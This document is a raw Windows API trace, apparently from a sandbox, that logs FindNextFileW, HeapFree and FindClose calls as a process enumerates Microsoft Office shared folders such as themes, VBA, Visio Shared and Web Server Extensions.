	[0164.189] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0164.189] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.189] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0164.190] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.190] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0164.192] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.192] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0164.193] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.193] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0164.193] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.193] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0164.193] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.193] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0164.194] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.194] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0164.194] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.194] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0164.194] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.194] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0164.195] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.195] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0164.195] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.195] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0164.195] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.195] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0164.195] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.196] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0164.196] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.196] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0164.196] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.196] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0164.196] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.196] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1
	[0164.197] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.197] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0164.197] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.197] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0164.197] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.197] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0164.198] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.198] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0164.198] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.198] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0164.198] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.198] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0164.199] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.199] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0164.199] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.199] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0164.199] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.199] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0164.199] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.199] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.199] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0164.200] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.200] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0164.201] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.201] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0164.201] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.201] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1
	[0164.201] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.201] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0164.202] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.202] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0164.202] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.202] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0164.202] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.202] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0164.202] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.202] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.202] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0164.204] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.204] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0164.204] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.204] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.204] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0164.205] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0164.205] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0164.205] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
